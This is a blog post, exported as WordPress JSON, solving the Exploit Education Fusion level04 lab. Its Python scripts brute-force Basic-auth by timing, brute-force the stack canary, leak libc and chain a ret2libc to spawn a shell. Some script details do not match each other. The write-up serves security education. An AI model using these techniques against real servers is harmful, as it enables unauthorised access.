{"id":1399,"date":"2020-03-24T22:52:50","date_gmt":"2020-03-25T02:52:50","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=1399"},"modified":"2020-03-24T22:52:50","modified_gmt":"2020-03-25T02:52:50","slug":"exploit-education-fusion-level-04-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-fusion-level-04-solution\/","title":{"rendered":"Exploit Education | Fusion | Level 04 Solution"},"content":{"rendered":"<p>Level04 introduces timing attacks, position independent executables (PIE), and stack smashing protection (SSP). Partial overwrites ahoy!<\/p>\n<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/fusion\/level04\/\">http:\/\/exploit.education\/fusion\/level04\/<\/a><\/p>\n<p>The difficulty has really been bumped up a few notches with this level. There are multiple protections to circumvent so you just have to take them one at a time.<\/p>\n<h1>Source Code Analysis<\/h1>\n<p>Like the last level, I won&#8217;t go into great detail with all the source code since most of it doesn&#8217;t matter. I haven&#8217;t even analyzed it all myself.<\/p>\n<p>Starting with the comments, we can see that this is an HTTP server based on an open source implementation called micro_httpd. So the first thing I did was open a browser and tried to connect to the Fusion VM over port 20004:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2020\/03\/auth.jpg\" alt=\"\" width=\"593\" height=\"357\" class=\"alignnone size-full wp-image-1405\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2020\/03\/auth.jpg 593w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2020\/03\/auth-300x181.jpg 300w\" sizes=\"auto, (max-width: 593px) 100vw, 593px\" \/><\/p>\n<p>As you can see, some basic authentication is required. If you just click cancel on the dialog, you&#8217;ll get a &#8220;401 Unauthorized&#8221; message. Next, I&#8217;ll look for vulnerabilities to see if I can bypass that authentication.<\/p>\n<p>I spotted a buffer overflow in the <code>validate_credentials()<\/code> function:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nint validate_credentials(char *line) {\r\n    char *p, *pw;\r\n    unsigned char details&#x5B;2048];\r\n    int bytes_wrong;\r\n    int l;\r\n    struct timeval tv;\r\n    int output_len;\r\n\r\n    memset(details, 0, sizeof(details));\r\n\r\n    output_len = sizeof(details);\r\n\r\n    ...\r\n\r\n    base64_decode(line, strlen(line), details, &amp;output_len);\r\n    ...\r\n    for(bytes_wrong = 0, l = 0; pw&#x5B;l] &amp;&amp; l &lt; password_size; l++) {\r\n        if(pw&#x5B;l] != password&#x5B;l]) {\r\n            ...\r\n            bytes_wrong++;\r\n        }\r\n    }\r\n\r\n    \/\/ anti bruteforce mechanism. good luck ;&gt;\r\n    tv.tv_sec = 0;\r\n    tv.tv_usec = 2500 * bytes_wrong;\r\n\r\n    select(0, NULL, NULL, NULL, &amp;tv);\r\n\r\n    if (l &lt; password_size || bytes_wrong)\r\n        send_error(401, &quot;Unauthorized&quot;, &quot;WWW-Authenticate: Basic realm=\\&quot;stack06\\&quot;&quot;, &quot;Unauthorized&quot;);\r\n\r\n    return 1;\r\n}\r\n<\/pre>\n<p>Note: I&#8217;m only showing the relevant lines.<\/p>\n<p>That <code>base64_decode()<\/code> function simply decodes whatever base64 is given in the &#8220;line&#8221; variable and saves it to the &#8220;details&#8221; variable. We can supply a base64 string of any length and it will happily overflow that 2048 byte buffer.<\/p>\n<p>The problem is, if the password is wrong, the code jumps to the <code>send_error()<\/code> function and exits instead of returning from <code>validate_credentials()<\/code>. You might also notice that the program uses the <code>select()<\/code> function to pause execution for 2,500 microseconds for every wrong character in the password. This is supposed to be an anti brute-force mechanism, but ironically, it&#8217;s what allows us to brute-force it. We can guess at the password, 1 character at a time, trying all possibilities. The one that takes the least amount of time should be the correct character. The code only adds to the &#8220;bytes_wrong&#8221; integer if the client supplies an incorrect character. The amount of time the program pauses for is based on that variable.<\/p>\n<h1>Finding The Password<\/h1>\n<p>First, I&#8217;ll write a short Python script to make sure I know how to interact with the program:<\/p>\n<pre class=\"brush: python; light: false; title: level04_test.py; notranslate\" title=\"level04_test.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom base64 import b64encode\r\nfrom pwn import *\r\n\r\npassword = b&quot;ABCD&quot;\r\n\r\npayload  = b&quot;GET \/ HTTP\/1.1\\n&quot;\r\npayload += b&quot;Authorization: Basic &quot;\r\npayload += b64encode(password)\r\npayload += b&quot;\\n\\n&quot;\r\n\r\nio = remote(&quot;fusion&quot;, 20004)\r\nio.send(payload)\r\nprint(io.recvall().decode())\r\n<\/pre>\n<p>Not surprisingly, I get a 401 error when running that:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level04 $ .\/level04_test.py \r\n&#x5B;+] Opening connection to fusion on port 20004: Done\r\n&#x5B;+] Receiving all data: Done (27B)\r\n&#x5B;*] Closed connection to fusion port 20004\r\nHTTP\/1.0 401 Unauthorized\r\n<\/pre>\n<p>Before getting into the details of brute-forcing this password, it&#8217;s important to note that 2,500 microseconds for an incorrect character is <i>not<\/i> a lot of time. It can be hard, if not impossible, to measure that delay over a network, especially when there&#8217;s so many other factors at play. I had a tough enough time writing a brute-force script that reliably worked across 2 virtual machines. I, eventually, came up with 2 different attempts, the second one working more reliably, though it takes longer. However, it seems both of these attempts worked perfectly when the binary was being run locally (but that&#8217;s cheating, now, isn&#8217;t it).<\/p>\n<p>For my first attempt, I would guess at the password, going through all of the possibilities for each character. For each possibility, I sent an attempt to the server, timed the response, repeated X number of times (usually 100), took the average and moved to the next character. When the difference between the average time for the current character and the previous character were more than 2500 microseconds, it would mark that one (the shorter one) as the correct character and move on. The problem with this attempt is that it would sometimes get false positives on which character was the correct one before getting to the actual correct character. Network latency, even between two VMs on the same host seemed to be a bit unreliable.<\/p>\n<p>My second attempt was a bit more reliable. It will go through each possible character, guessing X number of times for each, find the average, and keep track of the character with the lowest average. Here&#8217;s the code for that and an example run:<\/p>\n<pre class=\"brush: python; light: false; title: level04_brute.py; notranslate\" title=\"level04_brute.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom base64 import b64encode\r\nimport socket\r\nimport string\r\nimport time\r\n\r\n\r\ntarget = &quot;fusion&quot;\r\ntimes = 50\r\n\r\npossibilities = (string.ascii_letters + string.digits).encode()\r\nheader = b&quot;GET \/ HTTP\/1.1\\nAuthorization: Basic &quot;\r\npassword = b&quot;&quot;\r\n\r\nfor _ in range(16):\r\n    test = password\r\n    lowest = (0, 1000000000)\r\n    for i, c in enumerate(possibilities):\r\n        test += bytes(&#x5B;c])\r\n        payload = header + b64encode(test) + b&quot;\\n\\n&quot;\r\n        total = 0\r\n        for _ in range(times):\r\n            s = socket.socket()\r\n            s.connect((target, 20004))\r\n            s.send(payload)\r\n            start = time.time_ns()\r\n            s.recv(1024)\r\n            total += (time.time_ns() - start)\r\n            s.close()\r\n        curr_avg = total \/\/ times\r\n\r\n        if lowest&#x5B;1] - curr_avg &gt; 0:\r\n            lowest = (test, curr_avg)\r\n\r\n        test = password\r\n    password = lowest&#x5B;0]\r\n    print(f&quot;Password so far: {password.decode()}&quot;)\r\n<\/pre>\n<p>FYI: The <code>time.time_ns()<\/code> function is new with Python 3.7 and returns an integer number of nanoseconds since the epoch.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level04 $ time .\/level04_brute.py\r\nPassword so far: Y\r\nPassword so far: Y5\r\nPassword so far: Y51\r\nPassword so far: Y516\r\nPassword so far: Y516b\r\nPassword so far: Y516bu\r\nPassword so far: Y516bu8\r\nPassword so far: Y516bu8E\r\nPassword so far: Y516bu8El\r\nPassword so far: Y516bu8Els\r\nPassword so far: Y516bu8Elsx\r\nPassword so far: Y516bu8ElsxR\r\nPassword so far: Y516bu8ElsxRq\r\nPassword so far: Y516bu8ElsxRqg\r\nPassword so far: Y516bu8ElsxRqg1\r\nPassword so far: Y516bu8ElsxRqg1k\r\n\r\nreal    3m46.094s\r\nuser    0m1.391s\r\nsys     0m18.615s\r\n<\/pre>\n<p>Now I&#8217;m going to test it out in the web browser:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2020\/03\/auth_success.png\" alt=\"\" width=\"530\" height=\"429\" class=\"alignnone size-full wp-image-1415\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2020\/03\/auth_success.png 530w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2020\/03\/auth_success-300x243.png 300w\" sizes=\"auto, (max-width: 530px) 100vw, 530px\" \/><\/p>\n<h1>Finding the Canary<\/h1>\n<p>Now that I can get past that pesky authentication, I&#8217;ll need to be able to defeat the stack canary. In case you&#8217;re not familiar, a stack canary is a (mostly) random value placed on the stack that&#8217;s checked before a function returns. If it&#8217;s been modified, then the program exits with an error code and that function does not return. How can we overwrite the saved return address on the stack and start ROPing? We&#8217;ll need to overwrite the canary with the exact same value that it currently has. How can we get that value? We&#8217;ll take an advantage of the fact that the canary value is the same every time the process forks and brute force it.<\/p>\n<p>First, let&#8217;s take the same code I used before in <code>level04_test.py<\/code> and try to do a simple buffer overflow with the wrong password. I&#8217;ll replace the &#8220;password&#8221; in line 6 to be<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\npassword  = b&quot;2j4kIF8SD7dW075G&quot;\r\npassword += b&quot;A&quot; * 3000\r\n<\/pre>\n<p>Like I said earlier, the password needs to be correct or the function never returns and the buffer overflow will do nothing. However, the program only checks the first 16 characters. It doesn&#8217;t care what&#8217;s in the password field after that. I could include a username but that&#8217;ll just add unnecessary complexity to the script. Now when I run it:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level04 $ .\/level04_bof.py \r\n&#x5B;+] Opening connection to fusion on port 20004: Done\r\n&#x5B;+] Receiving all data: Done (68B)\r\n&#x5B;*] Closed connection to fusion port 20004\r\n*** stack smashing detected ***: \/opt\/fusion\/bin\/level04 terminated\r\n<\/pre>\n<p>Ok, so maybe you&#8217;re wondering, how can brute force this canary? Well, first we find the location of the canary on the stack. I wrote a short script to do this. It just keeps adding bytes to the buffer until the program returns that &#8220;stack smashing detected&#8221; error:<\/p>\n<pre class=\"brush: python; light: false; title: level04_findcanary.py; notranslate\" title=\"level04_findcanary.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom base64 import b64encode\r\nfrom pwn import *\r\n\r\n\r\nheader = b&quot;GET \/ HTTP\/1.1\\nAuthorization: Basic &quot;\r\npassword  = b&quot;2j4kIF8SD7dW075G&quot;\r\npassword += b&quot;A&quot; * (2048 - len(password))\r\n\r\ncontext.log_level = logging.ERROR\r\nresp = &quot;&quot;\r\nwhile (&quot;stack smashing detected&quot; not in resp):\r\n    password += b&quot;A&quot;\r\n    payload  = header\r\n    payload += b64encode(password)\r\n    payload += b&quot;\\n\\n&quot;\r\n\r\n    io = remote(&quot;fusion&quot;, 20004)\r\n    io.send(payload)\r\n    resp = io.recvall().decode()\r\n\r\nprint(f&quot;Canary found at {len(buff) - 1} bytes after the password&quot;)\r\n<\/pre>\n<p>I set &#8220;context.log_level&#8221; to &#8220;logging.ERROR&#8221; so that I wouldn&#8217;t get all of the output that pwntools normally generates. By default, it&#8217;s set to &#8220;logging.INFO&#8221;. It takes less than a second to complete:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level04 $ .\/level04_findcanary.py \r\nCanary found at 2032 bytes after the password\r\n<\/pre>\n<p>Next, we overwrite it, one byte at a time. At each byte, we keep guessing the value until we no longer get the &#8220;stack smashing detected&#8221; error:<\/p>\n<pre class=\"brush: python; light: false; title: level04_canary.py; notranslate\" title=\"level04_canary.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom base64 import b64encode\r\nfrom pwn import *\r\n\r\n\r\ntarget = &quot;fusion&quot;\r\n\r\nheader = b&quot;GET \/ HTTP\/1.1\\nAuthorization: Basic &quot;\r\npassword  = b&quot;2j4kIF8SD7dW075G&quot;\r\npassword += b&quot;A&quot; * 2032  # Number of bytes between the password and canary\r\n\r\n# The first bytes in a Linux canary is always null, but we'll check anyway\r\naddr = &#x5B;]\r\ncanary = b&quot;&quot;\r\ncontext.log_level = logging.ERROR\r\nfor i in range(4):\r\n    addr.append(0)\r\n    for b in range(0x100):\r\n        addr&#x5B;i] = p8(b)\r\n        canary = b&quot;&quot;.join(&#x5B;addr&#x5B;l] for l in range(len(addr))])\r\n\r\n        payload  = header\r\n        payload += b64encode(password + canary)\r\n        payload += b&quot;\\n\\n&quot;\r\n\r\n        io = remote(target, 20004)\r\n        io.send(payload)\r\n        recvd = io.recv(32).decode()\r\n        io.close()\r\n\r\n        if &quot;stack smashing detected&quot; not in recvd:\r\n            print(f&quot;Byte position {i} found: {hex(b)}&quot;)\r\n            break\r\n\r\nprint(f&quot;Canary is {hex(u32(canary))}&quot;)\r\n<\/pre>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level04 $ .\/level04_canary.py \r\nByte position 0 found: 0x0\r\nByte position 1 found: 0xa3\r\nByte position 2 found: 0x66\r\nByte position 3 found: 0xd5\r\nCanary is 0xd566a300\r\n<\/pre>\n<h1>Finding the Offset<\/h1>\n<p>Now I need to figure out how far after the canary the saved return address is:<\/p>\n<pre class=\"brush: python; light: false; title: level04_offset.py; notranslate\" title=\"level04_offset.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom base64 import b64encode\r\nfrom pwn import *\r\n\r\n\r\ncanary = p32(0xd566a300)\r\npassword  = b&quot;2j4kIF8SD7dW075G&quot;\r\npassword += b&quot;A&quot; * 2032\r\npassword += canary\r\npassword += cyclic(100)\r\n\r\npayload  = b&quot;GET \/ HTTP\/1.1\\n&quot;\r\npayload += b&quot;Authorization: Basic &quot;\r\npayload += b64encode(password)\r\npayload += b&quot;\\n\\n&quot;\r\n\r\nio = remote(&quot;fusion&quot;, 20004)\r\nio.send(payload)\r\nprint(io.recvall().decode())\r\n<\/pre>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level04 $ .\/level04_offset.py \r\n&#x5B;+] Opening connection to fusion on port 20004: Done\r\n&#x5B;+] Receiving all data: Done (0B)\r\n&#x5B;*] Closed connection to fusion port 20004\r\n<\/pre>\n<p>Now on the Fusion VM, I can check what the value of the EIP register was:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot@fusion:~# dmesg | tail -n1\r\n&#x5B; 1328.555035] level04&#x5B;1966]: segfault at 75616171 ip b76c4b19 sp bf952ffc error 4 in libgcc_s.so.1&#x5B;b76af000+1c000]\r\n<\/pre>\n<p>Calculating the offset:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level04 $ pwn cyclic -l $(echo -n 61616168 | xxd -r -p | rev)\r\n28\r\n<\/pre>\n<p>So the saved return address is 28 bytes after the end of the canary.<\/p>\n<h1>Creating a ROP Chain<\/h1>\n<p>This part is a little more difficult than with past levels as this binary is a &#8220;position independent executable&#8221; meaning the entire body of code can function properly no matter where, in memory, it&#8217;s placed. This means that the <code>.text<\/code> section (and a few others) we normally rely on to have consistent addresses are now impacted by ASLR.<\/p>\n<p>Honestly, I got lucky here while playing around with this. I had inadvertently obtained a backtrace and memory map. The conditions for this seem to be having an incorrect value for the canary and the saved return address must be overwritten with a value somewhere between 0xb75d2000 and 0xbfa5dffc. I&#8217;m still not sure why this happens so feel free to leave a comment if you know.<\/p>\n<p>Here&#8217;s an example that worked for me:<\/p>\n<pre class=\"brush: python; light: false; title: level04_mmap.py; notranslate\" title=\"level04_mmap.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom base64 import b64encode\r\nfrom pwn import *\r\n\r\n\r\noffset = 2080  # Bytes from &quot;details&quot; buffer to saved ret address\r\nbuff = 32  # Number of bytes from the canary to the saved return address\r\npassword  = b&quot;2j4kIF8SD7dW075G&quot;\r\npassword += b&quot;A&quot; * (offset - buff - len(password))\r\npassword += b&quot;B&quot; * buff\r\npassword += p32(0xb7700000)\r\n\r\n\r\npayload  = b&quot;GET \/ HTTP\/1.1\\n&quot;\r\npayload += b&quot;Authorization: Basic &quot;\r\npayload += b64encode(password)\r\npayload += b&quot;\\n\\n&quot;\r\n\r\nio = remote(&quot;fusion&quot;, 20004)\r\nio.send(payload)\r\nprint(io.recvall().decode())\r\n<\/pre>\n<p>Running this gets us all the information we need to build a ROP chain:<\/p>\n<pre class=\"brush: plain; highlight: [7]; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level04 $ .\/level04_mmap.py \r\n&#x5B;+] Opening connection to fusion on port 20004: Done\r\n&#x5B;+] Receiving all data: Done (1.52KB)\r\n&#x5B;*] Closed connection to fusion port 20004\r\n*** stack smashing detected ***: \/opt\/fusion\/bin\/level04 terminated\r\n======= Backtrace: =========\r\n\/lib\/i386-linux-gnu\/libc.so.6(__fortify_fail+0x45)&#x5B;0xb77b58d5]\r\n\/lib\/i386-linux-gnu\/libc.so.6(+0xe7887)&#x5B;0xb77b5887]\r\n\/opt\/fusion\/bin\/level04(+0x2dd1)&#x5B;0xb7879dd1]\r\n\/opt\/fusion\/bin\/level04(+0x22c7)&#x5B;0xb78792c7]\r\n\/lib\/i386-linux-gnu\/libc.so.6(qsort+0x10)&#x5B;0xb7700000]\r\n======= Memory map: ========\r\nb76af000-b76cb000 r-xp 00000000 07:00 92670      \/lib\/i386-linux-gnu\/libgcc_s.so.1\r\nb76cb000-b76cc000 r--p 0001b000 07:00 92670      \/lib\/i386-linux-gnu\/libgcc_s.so.1\r\nb76cc000-b76cd000 rw-p 0001c000 07:00 92670      \/lib\/i386-linux-gnu\/libgcc_s.so.1\r\nb76cd000-b76ce000 rw-p 00000000 00:00 0 \r\nb76ce000-b7844000 r-xp 00000000 07:00 92669      \/lib\/i386-linux-gnu\/libc-2.13.so\r\nb7844000-b7846000 r--p 00176000 07:00 92669      \/lib\/i386-linux-gnu\/libc-2.13.so\r\nb7846000-b7847000 rw-p 00178000 07:00 92669      \/lib\/i386-linux-gnu\/libc-2.13.so\r\nb7847000-b784a000 rw-p 00000000 00:00 0 \r\nb7854000-b7856000 rw-p 00000000 00:00 0 \r\nb7856000-b7857000 r-xp 00000000 00:00 0          &#x5B;vdso]\r\nb7857000-b7875000 r-xp 00000000 07:00 92553      \/lib\/i386-linux-gnu\/ld-2.13.so\r\nb7875000-b7876000 r--p 0001d000 07:00 92553      \/lib\/i386-linux-gnu\/ld-2.13.so\r\nb7876000-b7877000 rw-p 0001e000 07:00 92553      \/lib\/i386-linux-gnu\/ld-2.13.so\r\nb7877000-b787b000 r-xp 00000000 07:00 75281      \/opt\/fusion\/bin\/level04\r\nb787b000-b787c000 rw-p 00004000 07:00 75281      \/opt\/fusion\/bin\/level04\r\nb7cc5000-b7ce6000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nbf948000-bf969000 rw-p 00000000 00:00 0          &#x5B;stack]\r\n<\/pre>\n<p>I&#8217;ve highlighted one of the lines in the backtrace. We can see that the <code>__fortify_fail()<\/code> function is at <code>0xb77b58d5-0x45<\/code>, which turns out to be <code>0xb77b5890<\/code>. Now, I know that the memory map tells me that libc starts at <code>0xb76ce000<\/code>. However, in addition to getting libc&#8217;s base address, I need to know which version of libc this is. Yes, I already know since I figured this out on the last level, but for added realism, I&#8217;m not going to cheat and pretend I don&#8217;t already know.<\/p>\n<p>Now I can use the <a href=\"https:\/\/github.com\/niklasb\/libc-database\">libc-database<\/a> tool (used in previous levels) to figure out which version of libc our remote machine is using based on the offset of <code>__fortify_fail()<\/code>.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/libc-database (master) $ .\/find __fortify_fail 890\r\narchive-old-eglibc (id libc6_2.13-20ubuntu5_i386)\r\n<\/pre>\n<p>Great! Now that I&#8217;ve verified that, next I&#8217;ll need to find 3 more addresses. That of <code>system()<\/code>, <code>exit()<\/code>, and the &#8220;\/bin\/sh&#8221; string.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/libc-database (master) $ rabin2 -s db\/libc6_2.13-20ubuntu5_i386.so | egrep ' system$| exit$'\r\n135   0x000329e0 0x000329e0 GLOBAL FUNC   45        exit\r\n1409  0x0003cb20 0x0003cb20 WEAK   FUNC   139       system\r\nandrew ~\/libc-database (master) $ rabin2 -z db\/libc6_2.13-20ubuntu5_i386.so | grep '\/bin\/sh'\r\n579  0x001388da 0x001388da 7    8    .rodata ascii   \/bin\/sh\r\n<\/pre>\n<p>Now I&#8217;ll calculate where those will be in memory:<\/p>\n<pre>\r\nlibc addr  + system offset = system addr\r\n0xb76ce000 +  0x0003cb20   = 0xb770ab20\r\n\r\nlibc addr  + exit offset = exit addr\r\n0xb76ce000 + 0x000329e0  = 0xb77009e0\r\n\r\nlibc addr  +  \"\/bin\/sh\" = \"\/bin\/sh\" addr\r\n0xb76ce000 + 0x001388da = 0xb78068da\r\n<\/pre>\n<p>And use those in a ROP chain:<\/p>\n<pre class=\"brush: python; light: false; title: level04_rop.py; notranslate\" title=\"level04_rop.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom base64 import b64encode\r\nfrom pwn import *\r\n\r\n\r\ntarget = &quot;fusion&quot;\r\n\r\noffset = 2080  # Bytes from &quot;details&quot; buffer to saved ret address\r\ncanary = p32(0xd566a300)\r\nbuff = 28 # The space between the canary &amp; saved return pointer\r\npassword  = b&quot;2j4kIF8SD7dW075G&quot;\r\npassword += b&quot;A&quot; * (offset - buff - len(canary) - len(password))\r\npassword += canary\r\npassword += b&quot;B&quot; * buff\r\npassword += p32(0xb770ab20)  # system()\r\npassword += p32(0xb77009e0)  # exit()\r\npassword += p32(0xb78068da)  # &quot;\/bin\/sh&quot;\r\n\r\npayload  = b&quot;GET \/ HTTP\/1.1\\n&quot;\r\npayload += b&quot;Authorization: Basic &quot;\r\npayload += b64encode(password)\r\npayload += b&quot;\\n\\n&quot;\r\n\r\nio = remote(target, 20004)\r\nio.send(payload)\r\nio.interactive()\r\n<\/pre>\n<p>Running that gets me a shell!<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion\/level04 $ .\/level04_rop.py \r\n&#x5B;+] Opening connection to fusion on port 20004: Done\r\n&#x5B;*] Switching to interactive mode\r\n$ id\r\nuid=20004 gid=20004 groups=20004\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Level04 introduces timing attacks, position independent executables (PIE), and stack smashing protection (SSP). Partial overwrites ahoy! &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-fusion-level-04-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Fusion | Level 04 Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1399","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1399","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=1399"}],"version-history":[{"count":38,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1399\/revisions"}],"predecessor-version":[{"id":1443,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1399\/revisions\/1443"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=1399"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=1399"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=1399"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}